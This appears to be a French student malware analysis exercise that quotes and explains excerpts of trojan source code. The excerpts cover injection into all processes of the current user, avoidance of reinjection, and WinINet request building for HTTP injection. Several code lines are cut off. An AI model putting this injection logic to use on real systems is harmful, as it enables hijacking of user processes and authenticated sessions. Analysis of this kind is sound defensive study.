Partie 1

1. Comment le malware infecte-t-il tous les processus d'un utilisateur donné ?

Le malware parvient à infecter tous les processus d'un utilisateur donné grâce à la fonction **_injectToAll** :

```
bool MainInject::_injectToAll(void)
{
  bool ok = false;

  WDEBUG0(WDDT_INFO, "Listing processes...");

  LPDWORD injectedPids     = NULL;
  DWORD injectedPidsCount = 0;
  DWORD newProcesses;

  do
  {
    HANDLE snap = CWA(kernel32, CreateToolhelp32Snapshot)(TH32CS_SNAPPROCESS, 0);
    newProcesses = 0;

    if(snap != INVALID_HANDLE_VALUE)
    {
      PROCESSENTRY32W pe;
      pe.dwSize = sizeof(PROCESSENTRY32W);

      if(CWA(kernel32, Process32FirstW)(snap, &pe))do
      {
        if(pe.th32ProcessID > 0 && pe.th32ProcessID != coreData.pid)
        {
          TOKEN_USER *tu;
```

```
//WDEBUG2(WDDT_INFO, "sessionId=\"%u\", coreData.currentUser.id=\"%u\"", sessionId, coreData.currentUser.id);
if(sessionId == coreData.currentUser.sessionId &&
   (sidLength = CWA(advapi32, GetLengthSid)(tu->User.Sid)) == coreData.currentUser.sidLength &&
   Mem::_compare(tu->User.Sid, coreData.currentUser.token->User.Sid, sidLength) == 0)
{
  if(Mem::reallocEx(&injectedPids, (injectedPidsCount + 1) * sizeof(DWORD)))
  {
    injectedPids[injectedPidsCount++] = pe.th32ProcessID;
    newProcesses++;

    WDEBUG1(WDDT_INFO, "pe.th32ProcessID=%u", pe.th32ProcessID);

    if(injectMalwareToProcess(pe.th32ProcessID, mutexOfProcess, 0))ok = true;
  }
```

Etape 1 : Cette fonction utilise **CreateToolhelp32Snapsho**t pour créer un instantané de tous les processus en cours d'exécution sur le système. Elle parcourt ensuite tous les processus à l'aide de **Process32FirstW** et **Process32NextW**.

Etape 2 : Pour chaque processus répertorié, le code vérifie si le processus a un ID en utilisant th32ProcessID supérieur à zéro et s'il n'est pas égal à l'ID du processus principal du malware. Cela garantit que le malware n'essaie pas de s'injecter dans son propre processus.

Etape 3 : Le malware vérifie également si le processus appartient à la même session de l'utilisateur que **coreData.currentUser.sessionId.**

Cela implique que le malware cible uniquement les processus de l'utilisateur actuellement connecté.

Etape 4 : Injection : Si le processus passe les filtres, le malware appelle **injectMalwareToProcess**, ce qui tente d'injecter le code dans ce processus.

2. Comment le malware évite-t-il la réinfection d'un processus déjà infecté ?

Le malware évite de réinjecter un processus déjà infecté par la vérification de la liste des PID injectés :

Le code maintient un tableau **injectedPids** qui contient les identifiants des processus qui ont déjà été infectés. Avant d'injecter dans un processus, le code vérifie si son th32ProcessID figure déjà dans **injectedPids**.

for(DWORD i = 0; i < injectedPidsCount; i++)

if(injectedPids[i] == pe.th32ProcessID) goto SKIP_INJECT;

```
for(DWORD i = 0; i < injectedPidsCount; i++)if(injectedPids[i] == pe.th32ProcessID)goto SKIP_INJECT;
```

Si le PID est déjà dans la liste, le code saute l'injection pour ce processus et continue à la prochaine itération. Cela garantit que les processus déjà infectés ne seront pas ciblés à nouveau, évitant ainsi une double injection dans le même processus, ce qui pourrait causer des conflits ou des comportements indésirables.

3. Comment le malware réussit-il à exécuter une injection HTTP ?

```
HINTERNET Wininet::_SendRequest(HINTERNET hConnect, LPSTR pstrURI, LPSTR pstrReferer, void *pPost
{
  DWORD dwReqFlags = INTERNET_FLAG_HYPERLINK | INTERNET_FLAG_IGNORE_CERT_CN_INVALID | INTERNET_FL
                     INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTP | INTERNET_FLAG_IGNORE_REDIRECT_TO_HTT
                     INTERNET_FLAG_NO_CACHE_WRITE | INTERNET_FLAG_NO_UI | INTERNET_FLAG_PRAGMA_NO

  if(dwFlags & WISRF_KEEP_CONNECTION)dwReqFlags |= INTERNET_FLAG_KEEP_CONNECTION;
  if(dwFlags & WISRF_IS_HTTPS)dwReqFlags |= INTERNET_FLAG_SECURE;

# if defined WDEBUG1
  WDEBUG1(WDDT_INFO, "pstrURI=%S", pstrURI);
# endif


  HINTERNET hReq = CWA(wininet, HttpOpenRequestA)(hConnect, dwFlags & WISRF_METHOD_POST ? "POST"

  if(hReq != NULL)
  {
    //□□□□□□□□ □□□□□□□.
    LPSTR headers;
    DWORD headersSize;

    if(dwFlags & WISRF_KEEP_CONNECTION)
    {
      headers     = NULL;
      headersSize = 0;
    }
    else
    {
      headers     = "Connection: close\r\n";
      headersSize = 19;
    }

    if(CWA(wininet, HttpSendRequestA)(hReq, headers, headersSize, pPostData, dwPostDataSize))
```

La mention de **wininet.h** suggère que le malware pourrait établir des connexions HTTP.

Le malware peut utiliser des fonctions fournies par l'API **WinINet**, telles que **HttpOpenRequest**, **HttpSendRequest** pour préparer et envoyer des requêtes HTTP. Si le malware réussit à s'injecter dans un processus qui gère des requêtes HTTP, il pourrait intercepter ou réécrire des requêtes sortantes, y compris celles liées à l'utilisateur.

Cela lui permettrait de **poster** des liens infectés en utilisant le contexte du processus cible, ce qui pourrait lui donner accès à des sessions utilisateur authentifiées. En utilisant des techniques d'injection pour exécuter du code dans un processus différent, le malware pourrait manipuler les données de ce processus, créant ainsi des requêtes HTTP malveillantes.

PARTI 2